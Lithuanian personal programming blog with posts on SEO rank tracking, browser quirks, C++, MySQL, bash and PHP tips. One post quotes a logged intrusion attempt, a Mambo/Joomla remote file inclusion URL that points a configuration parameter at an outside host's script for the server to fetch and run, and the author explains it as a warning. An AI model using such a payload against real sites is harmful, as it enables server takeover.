Žilvinas Sadauskas - Genialu tai, kas paprasta.

Grank.lt - google rezultatų stebėjimas

June 25th, 2009

Kiek pastebėjau iš prieš tai padaryto darbelio statistikos, poreikis Google rezultatų stebėjimui yra. Nusprendžiau labiau išplėtoti tą idėją ir pagaminau projektą Grank.lt

Trumpai apie Grank.lt veikimo principus:

  • Grank.lt skirtas puslapių reitingui pagal atrinktus raktažodžius Google paieškoje stebėti
  • Grank.lt galima greitai pasitikrinti pavienių raktažodžių poziciją
  • Grank.lt galima susigeneruoti raktažodžių krepšelį. Krepšelyje esančių raktažodžių reitingas yra paimamas kas naktį ir iš gautų rezultatų yra formuojama 30 dienų statistika, kuri yra pateikiama grafiškai
  • Krepšelio statistika yra pasiekiama per išorinę nuorodą, kurią galima duoti pvz. savo klientams užsakiusiems SEO paslaugas ir norintiems matyti proceso eigą
Tai kelios pagrindinės funkcijos, kurios jau yra įgyvendintos. Projektas dar tik kūdikio stadijoje, tačiau manau, kad greitai jis išaugs į ką nors įdomesnio. Tikiuosi su savo siūlymais prisidėsit ir Jūs, skaitytojai :)
Grank.lt skirtas:
  • interneto kūrėjams
  • SEO specialistams
  • blogeriams ir visiems kitiems, kurie turi savo svetaines bei stebi savo reitingus pagal tam tikrus raktažodžius

Google Rank Checker

June 3rd, 2009

Ryšium su tuo, kad rytoj Login 2009 ir kad iškilo tokia nepatogi problemėlė, tai nusprendžiau išdėstyti problemą ir sprendimą.

Turbūt dauguma, kurie turit blogus ar interneto svetaines, dažnai tikrinate, kokioje pozicijoje pagal tam tikrus raktažodžius ji stovi Google paieškoje. Dažniausiai procesas būna toks: įvedi raktažodį ir spaudi next next next kol randi savo svetainės poziciją. Dariau ir aš taip - nusibodo. Ypač kai pozicija yra ganėtinai žema. Užsienyje radau, keletą page rank checkerių, tačiau jie kažkaip kreivai rasdavo rezultatus arba iš viso jų nepateikdavo. Nusprendžiau prisėsti valandėlę ir parašyti adaptuotą rank checkerį lietuviškajam Google.lt .

Kaip tariau taip ir padariau. Pasilengvinau sau gyvenima, o galbūt palengvinsiu ir Jums.

www.sadauskas.lt/googlerank/ - paieška vyksta Google.lt pirmuose 500 rezultatų. Dizainas “šakar makar”, tačiau funkcionalumas geras. Enjoy :)

Damn you Internet Exploder

August 29th, 2008

Taip taip, būtent Exploder, o ne Explorer. Ko gero nėra web developerių, kurie mylėtų IE naršyklę, nebent jų rašomas kodas taikomas tik pastarajai.

Turbūt kiekvienas yra susidūręs su problema, kai žiūri į tvarkingą kodą ir matai, kad jame tikrai viskas tvarkinga, tačiau IE atsisako veikti taip, kaip liepiamas. M$ mėgsta prigalvoti papildomų bajeriukų, kurie absoliučiai iškrenta iš tarptautinių standartų.

Problema.

kintamasis = document.getElementById(’kintamasis’).value; // kas čia blogai? Huh? huh? Nu, tai kas čia blogai?

Simptomas.

Blogai yra tas, kad IE meta klaidą “object doesn’t support this property or method“.

Priežastis.

IE visus HTML objektus, turinčius ID, paverčia JavaScript kintamaisiais.

Sprendimai.

Nevadinti JavaScript kintamųjų tokiais pačiais vardais, kaip HTML’e egzistuojantys ID (manau bandyti prisiminti juos yra visiškai nereikalingas galvos grūzinimas) arba visiems JavaScript kintamiesiems naudoti prefix’ą.

Ir dar kartelį: DAMN YOU INTERNET EXPLORER.

C++ po PHP tikrai ne perliukas

May 13th, 2008

Na jo, ką čia ir lyginti kompiliuojamą ir interpretuojamą kalbą. Be to ir karta ne ta, C++ kažkuria prasme galėtų būti PHP senele. Bet vis tiek…

PHP turi labai daug integruotųjų funkcijų, standartinių bibliotekų, kurios labai palengvina darbą. Senokai teko bendrauti su C++, bet toks jau metas, kad tenka prisiminti. Žodžiu prie esmės. Noriu string tipo eilutę padaryti lowercase. Sakysit taigi elementaru, tolower(s) arba s.tolower() tikrai turėtų suveikti. Aš irgi taip intuityviai pagalvojau. O gi špygą taukuotą! Tarp krūvelės String objekto metodų nėra tokių paprastų funkcijų. Reikia naudotis tokiais workaround’ais kaip šis

  1. string stringToLower(string s) {
  2.     for(int i = 0; i < s.length(); i++) {
  3.         s[i] = tolower(s[i]);
  4.     }
  5.  
  6.     return s;
  7. }

MySQL - aibes sujungt gali, sukirst neišeis

April 24th, 2008

Atrodė, kad MySQL’as jau yra ganėtinai gera duomenų bazė. Bent jau interneto projektams. O pasirodo prireikia paprastos užklausos su INTERSECT ar EXCEPT ir visų numylėta duombazė parodo špygą taukuotą. Kaip bebūtų keista, nors produktas tobulinamas jau seniai, bet tokios visuotinai naudojamos funkcijos nėra įgyvendintos. MySQL palaiko tik UNION. Kitaip sakant, normaliomis priemonėmis išeis tik sujungti rezultatus.

Pats išsprendžiau savo užklausą pakeisdamas EXCEPT į dar vieną salygą prie pagrindinės užklausos. Abstrakčiai galima sakyti taip:

id NOT IN ((SELECT some_id FROM some_table))

Išmetam neiginį NOT ir gaunasi INTERSECT atitikmuo.

Ai, dar vieną skundą radau, kuris man labai patiko :)

[2 Oct 2007 12:29] Maciej Pilichowski

Description:
I hope this wish is self explanatory.

However reason: mysql should be SQL compliant. I am also a teacher, so in a way I do free
marketing for mysql. But the effect is poor because I have to disgress every second lesson
and say “sorry, mysql does not support this and that”. Now, it is not that hard to figure
out the impression student can take from the whole semester about mysql, right?

Balso sintezė

April 9th, 2008

Taip jau yra, kad mano bakalaurinio darbo tema yra balso sintezė vienetų parinkimo metodu.

Darau darau aš tą bakalaurą, vis laiko trūksta. Dabar pasiėmiau atostogų ir galų gale kažką jau išspaudžiau. Rašau programą, kuri sintezuos balsą, pagal paduotą parametrų eilutę. Kol kas dar daug trūksta. Reikia parinkti reikiamus garsus į reikiamą vietą, reikia reguliuoti tono aukštį ir panašiai. Tačiau, tai ką šiandien išgirdau man labai paglostė širdį ir įkvėpė pasitikėjimo.

Paklausykit

Debesų atspindys ežere priminė paveikslą.

Šį blogą bando nulaužti

January 29th, 2008

Kartas nuo karto nueinu pasižiūrėti, kas šiuo metu naršo mano bloge. Pasižiūriu iš kur atėjo, kokį puslapį žiūri. Įdomu, kai viskas vyksta „on the fly“.

Dabar ką tik prisijungęs pamačiau, kad žmogus/robotas iš šio IP 72.55.143.52 bando laužtis į šį puslapį. Grečiausiai tai daro koks nors script kiddie, nes įvedus šį IP į google, paieškos rezultatuose išmetami access logai su panašiomis atakomis.

Kaip vykdoma ataka.

Į nuorodą yra įvedama štai tokia eilutė

http://www.sadauskas.lt/index.php/category/kompiuterija/programavimas/php/
index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&
_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=
http://www.pooya.info/images/…/test.txt%3

Iš kintamųjų bandomų perduoti per užklausą spėju, kad bandoma įsibrauti panaudojant kažkokį Mambo/Joomla TVS’o pažeidžiamumą arba tiesiog išnaudoti register_globals on parametrą, jeigu serverio administratorius nekoks specialistas ir palieką jį įjungtą.

Jeigu aš naudočiau Joomla TVS ir serverio parametruose būtų register globals on, tai puslapis įvykdytų PHP kodą, kuris pateiktas šioje nuorodoje http://www.pooya.info/images/…/test.txt

Na, o jeigu jau puslapis jį įvykdytų ir serveris būtų netvarkingai sukonfigūruotas, tai viso gero jūsų duomenims, o gal ir visam serveriui.

Tokių kiber atakų turbūt patiriame kiekvienas, tik dažniausiai jų nepastebime. Būkit atsargūs.

Kaip atpažint gerą programuotoją

January 12th, 2008

Nerd

Geek

Paskaičiau štai šį straipsnį “How to recognize a good programmer“. Summa summarum yra čia

Positive indicators:

  • Passionate about technology
  • Programs as a hobby
  • Will talk your ear off on a technical subject if encouraged
  • Significant (and often numerous) personal side-projects over the years
  • Learns new technologies on his/her own
  • Opinionated about which technologies are better for various usages
  • Very uncomfortable about the idea of working with a technology he doesn’t believe to be “right”
  • Clearly smart, can have great conversations on a variety of topics
  • Started programming long before university/work
  • Has some hidden “icebergs”, large personal projects under the CV radar
  • Knowledge of a large variety of unrelated technologies (may not be on CV)

Negative indicators:

  • Programming is a day job
  • Don’t really want to “talk shop”, even when encouraged to
  • Learns new technologies in company-sponsored courses
  • Happy to work with whatever technology you’ve picked, “all technologies are good”
  • Doesn’t seem too smart
  • Started programming at university
  • All programming experience is on the CV
  • Focused mainly on one or two technology stacks (e.g. everything to do with developing a java application), with no experience outside of it

Kaip manot, kuris iš viršuje pateiktų vyriškių yra geresnis programuotojas? Greičiausiai tie, kurie žiūri į žmones, išmančius kompiuterių mokslą daugiau negu didžioji masė, kaip į kokius neandartaliečius, pasirinks nerd’o (moksliuko) nuotrauką, o tie, kurie žino kaip yra iš tiesų, pasirinks geek’o (irgi moksliuko) nuotrauką :) .

Kuo skiriasi geek’as nuo nerd’o? Jie abu yra moksliukai - labai gerai išmanantys vieną arba daugiau sričių. Yra tik vienas esminis skirtumas, geek’as turi socialinių gebėjimų (kaip bendravimas su žmonėmis), o nerd’as neturi.

Tai kaipgi atpažinti gerą programuotoją? Vadovautis aukščiau paminėtais punktais ir vengti nerd’ų. Kodėl? Todėl, kad geras programuotojas turi suprasti ką jam sako vadovas ir mokėti apibūdinti iškilusias problemas ir jų sprendimus :) .

UPDATE: Tarp kitko, nei viena iš nuotraukų nėra mano :D

Apache logo custom statistika

November 21st, 2007

Universitete gavau dar vieną užduotį, kurią atlikti reikėjo su bash. Reikėjo susigalvoti 5 statistikos pjūvius, kuriais būtų pateikiama tam tikra informacija. Kažkaip viską atidėliojau ir apie terminą sužinojau tik likus 4 valandoms iki jo pabaigos. Kaip bebūtų apmaudu scenarijų nusiunčiau pavėlavęs 20 minučių, todėl gavau nulį balų :) . Na, bet ne pasaulio pabaiga.
Read the rest of this entry »

Failo eilučių apvertimas su bash

October 31st, 2007

Pasirinkau lankyti Unix paskaitas, tai tenka parašyti programėlių su bash. Po kiekvieno atsiskaitymo įmesiu jas čia :)

Užduotis: parašyti scenarijų (script), kuris apverčia faile esančias eilutes, t.y. sukeičia 1 eilutę su n-1, 2 su n-2 ir t.t.

  1. #!/bin/bash
  2. # Jeigu parametrų kiekis ($#) nelygus dviem - klaidos pranešimas
  3. if [ $# -ne 2 ]; then
  4. echo "Naudojimas: ./prog1 inputFile outputFile"
  5. exit
  6. fi
  7.  
  8. # priskiriam pirmą parametrą i inputFile kintamąjį
  9. inputFile=$1;
  10. # priskiriam antrą parametrą
  11. outputFile=$2;
  12.  
  13. # jeigu inputFile neegzistuoja - klaidos pranešimas
  14. if [ ! -e "$inputFile" ]; then
  15. echo "$inputFile neegzistuoja."
  16. exit
  17. # jeigu failas neturi skaitymo leidimų - klaidos pranešimas
  18. elif [ ! -r "$inputFile" ]; then
  19. echo "$inputFile failas neturi read leidimu."
  20. exit
  21. # jeigu inputFile yra katalogas - klaidos pranešimas
  22. elif [ ! -f "$inputFile" ]; then
  23. echo "$inputFile yra katalogas. Turi buti failas."
  24. exit
  25. # jeigu į šį katalogą negalima įrašyti outputFile failo - klaidos pranešimas
  26. elif [ ! -w `dirname $outputFile` ]; then
  27. echo "Neimanoma sukurti $outputFile. Katalogas neturi rasymo leidimu."
  28. exit
  29. # jeigu outputFile failas egzistuoja ir negalima rašyti į outputFile - klaidos pranešimas
  30. elif [ -e "$outputFile" -a ! -w "$outputFile" ]; then
  31. echo "Negalima rasyti i $outputFile."
  32. exit;
  33. fi
  34.  
  35. # programos esmė. inputFile failo apvertimas.
  36. # 1! - visos išskyrus pirmą eilutę
  37. # G - apversti rezultatą
  38. # h - padėti į rezultatų vietą
  39. # $! - visos išskyrus paskutinę eilutę
  40. # d - trinti ir pradėti ciklą iš naujo
  41. output=$(sed -e ‘1!G;h;$!d’ "$inputFile")
  42.  
  43. # išvesti rezultatą į faila outputFile
  44. echo "$output" > "$outputFile"

Kur panaudoti? Kai kurios Unix sistemos neturi komandos tac, kuri daro lygiai tą patį. Tada ir pravers šitas scenarijus.

elePHPant

July 24th, 2007

Pamačiau šį mielą drambliuką ir nesusilaikiau papost’int Žilvinui ;)

The elephpant is irresistible!

Linkiu ir toliau šiltų ir draugiškų santykių su drambliuku kurs tave maitina :)

Daugiau apie drambliuką ir jo pomėgius čia

Posted by: FaVoRiT | Dedicated to: Žilvinas ir visiem prijaučiantiem

AJAX loading paveiksliukai

June 20th, 2007

Jeigu kam yra tekę ką nors daryti su AJAX, tai turbūt susidūrėt su problemėle, kaip parodyti vartotojui, kad duomenys yra siunčiami iš serverio, nors puslapis ir neperkraunamas. Taigi aptikau tokį puslapėlį, kuriame galima susigeneruoti kokį tik nori AJAX loaderiuką :) . Galima pasirinkti iš keleto šablonų, bei keist spalvų gamą ir permatomumą.

http://www.ajaxload.info

SimpleXml ir CDATA

June 15th, 2007

Turbūt daugeliui programuotojų, kurie yra kažką rimtesnio veikę su XML iškilo problema parsinant CDATA tagą su simplexml. Problema yra tokia, kad SimpleXML tiesiog nerodo informacijos, esančios CDATA viduje. Gerai pasiknisus dokumentacijoj aptikau vieną labai gerą konstanta kurią reikia pateikti funkcijai simplexml_load_string(). Ta konstanta yra LIBXML_NOCDATA.

Bendras funkcijos kvietimas turėtų atrodyti taip:
simplexml_load_string($xmlStringas, ‘SimpleXMLElement’, LIBXML_NOCDATA);

Bėda (man tai visai ne :) ) yra tame, kad šis daiktas veikia tik PHP >= 5.1

Patarimas pradedančiajam PHP programuotojui

June 14th, 2007

Iš vieno pažįstamo gavau tokį laišką

Klausyk, norejau paklaust, kokio softo man reik ant kompo, kad vasara galeciau pasimokyt ten ta php, html , ir dar kokia ten velniava su web proginimu, galima sakyt ash ne zalias o ishvis baltas siame dalyke ;]. Ash pora knygu sau nukopinau ant kompo, bet ner dar laiko jas pavartyti, tiesiog kokio reik softo, kad galeciau ir progint ir pamatyt rezultata, tai va dar gal pvz koki turi uzsakymo?: tipo reik ten koki saita padaryt kokiai firmai, ir kokia ishvis jie tau informacija paduoda, ar reikalavimus? Blin jei atrashysi kad uztenka Wordpad tai bus zinok gan juokinga, gal yra kokie redaktoriai kaip pas java ash naudoju eclipse…

Krc minti turbut supratai, kur nesuprasi, kai tiek prispaminau ;]

Dekoju uz (tikiuosi bent kokionors) patarima ;] ir susitiksim egze ketvirtadieni

Ir daviau jam štai tokį patarimą.

Sveikas,

Del php programavimo, tai pirmiausiai tau reikia susiinstalint PHP + Apache + MySQL
php.net
apache.org
mysql.com
Dar yra toks dalykas kaip LAMP ir WAMP. LinuxApacheMysqlPhp ir WindowsApacheMysqlPhp. Cia paprastesniam PHP, MySQL ir Apache idiegimui, nes kartais tai gali buti skausmas subineje.

Del firmu tai nieko jos neduoda, jos pasako man reikia to to to ir ano ir viskas. o tas tas ir anas yra katalogo, puslapiu, naujienu ir dar ko nors. tada jau eigoje koreguojasi viskas. Geri IDE yra Zend‘o (zend.com) ir nusphere PHPEd, taciau as pripazystu paprasta editoriu Editplus, kadangi jis paprastas ir greitas :) .

Dar yra tokie dalykai, kuriuos turi zinoti kiekvienas save gerbiantis php programuotojas, tai savokos: framework, CMS, template engine. Cia minimum. Viska gali rasti wikipedioj. PHP programeriui nebutina moketi HTML, taciau tai yra didelis privalumas, todel pasiskaitinek ir apie HTML bei CSS.

Siaip pradziai gali paanalizuoti kitu koda, ir taip pramoksi webo technologiju. Yra pasaulyje zinomi opensource’iniai cms’ai/frameworkai joomla, mambo, cakephp ir pan. Su jais pakurti weba yra juoku darbas, tik uzsakova rask. Dar yra oscommerce.com, kurie duoda nachaliu cms’a tik reikia idiegti ir pakoreguoti pagal klienta, tai pasiimi ir stumdai :) . Kai jau busi truputi pazenges galesi bandyti pasirasyti savo CMS’a, kuris tenkintu tavo specifinius norus ir idejas.

Tai tiek kol kas.

Manau, tai visai vertinga informacija begineriams, todėl ir papostinau čia šitą laišką :)

Usability ir programuotojai

April 9th, 2007

Beprogramuojant į galvą atėjo įdomi mintis

Usability yra daug if’ų, daug if’ų programuotojai nemėgsta, prie jų reikia priprasti. — Žilvinas Sadauskas ©

Papildomi objektinio programavimo skyriai

March 23rd, 2007

Universitete turiu tokį dalyką “Papildomi objektinio programavimo skyriai”. Tikrai įdomus, ir manau labai reikalingas dalykas. Dėstoma apie objektinio programavimo šablonus. Supažindinama su daugeliu egzistuojančių šablonų. Manau, kad šiuos šablonus turėtų žinoti/mokėti kiekvienas save gerbiantis programuotojas. Gebėjimas tam tikrai situacijai teisingai pritaikyti atitinkamus šablonus yra menas, kuris ateina su patirtim.

Prisipažinsiu, pats dar žinau/moku ne visus, tačiau artimiausiu metu noriu visus nuodugniai panagrinėti.

Pateikiu porą nuorodų, kurias, kaip informacijos šaltinius, nurodė dėstytojas:

PHP scenarijų našumo pagerinimas

March 11th, 2007

Beprogramuodamas pastebėjau, kad PHP operatorius <<<PARAM [...] PARAM; labai sulėtina scenarijaus vykdymo laiką. <<<PARAM [...] PARAM; yra tas pats kas “EILUTĖ”. Abiejų tekstai, esantys viduje, yra interpretuojami. Tiksliai nežinau kaip veikia <<<PARAM [...] PARAM; bet manau, kad čia yra kuriamas srautas, kurio kūrimas yra daug lėtesnis, negu paprastos eilutės kūrimas.

Struktūrą <<<PARAM [...] PARAM; naudoju retai, tik rašydamas SQL sakinius, dėl paprastumo. Tačiau po šiandienos testavimo tikrai nepatingėsiu dėlioti ‘ ir ‘ eilutės pradžioj ir pabaigoj, bei išskiriant PHP kintamuosius, kadangi vykdymo laikas keleta kartų sutrumpėja, nes PHP eilutės, esančios apostrofų viduje, neinterpretuoja.

Dinaminis JavaScript event’ų prisiejimas

June 26th, 2006

Kartais būna tokių situacijų, kai prireikia dinamiškai įkelti HTML objektus panaudojant JavaScript (toliau JS). Teko daryti vieną projektą, kurį reikėjo prifarširuoti dinaminiais formos laukų kūrimais, eventų pridėjimais ir kitais dalykėliais. Pateiksiu truputį informacijos.

Pradesime nuo HTML kodo kurį naudosime: Čia
Dabar apsirašom failą script.js su JS funkcijom: Čia

Rašant šį kodo gabaliuką reikia žinoti šias funkcijas:

  • obj.getElementById(ID) - paima HTML objektą su tam tikru ID
  • createElement(element) - sukuria HTML objektą
  • obj.appendChild(child) - įdeda objektą į kitą objektą
  • obj.removeChild(child_obj) - pašalina objektą iš objekto
  • obj.lastChild - identifikuoja paskutinį objekto elementą

Viskas šiame pavyzdyje yra trivialu, įdomesnė yra tik funkcija add_event. Aš ją radau internete, kai po ilgų galvos laužymų supratau, kad niekaip kitaip man veiksmo prie objekto prisieti nepavyks, jeigu norėsiu, kad tai veiktų tiek ant Internet Explorer (IE) tiek ant FireFox (FF). Minėtoji funkcija yra labai gera, nes ji identifikuoja kokią naršyklę naudoja vartotojas ir atitinkamai parenka kokius objekto atributus/metodus reikėtų naudoti.

Kur pritaikomas toks dalykas? Viskas matosi pavyzdyje. Mes kuriame trynimo mygtuką ir norime, kad jį paspaudus būtų ištrintas paskutinis elementas, tačiau jeigu mes neprisiesime jam veiksmo, tai jis nieko ir nedarys. Labai gerai įsidėmėkite funkciją add_event, ir naudokite visada, kai reikia.

DISCLAIMER! Tai pirmas mano mokomasis straipsniukas, bandžiau parašyt kuo greičiau, tai taip ir gavosi - nei šis, nei tas :-D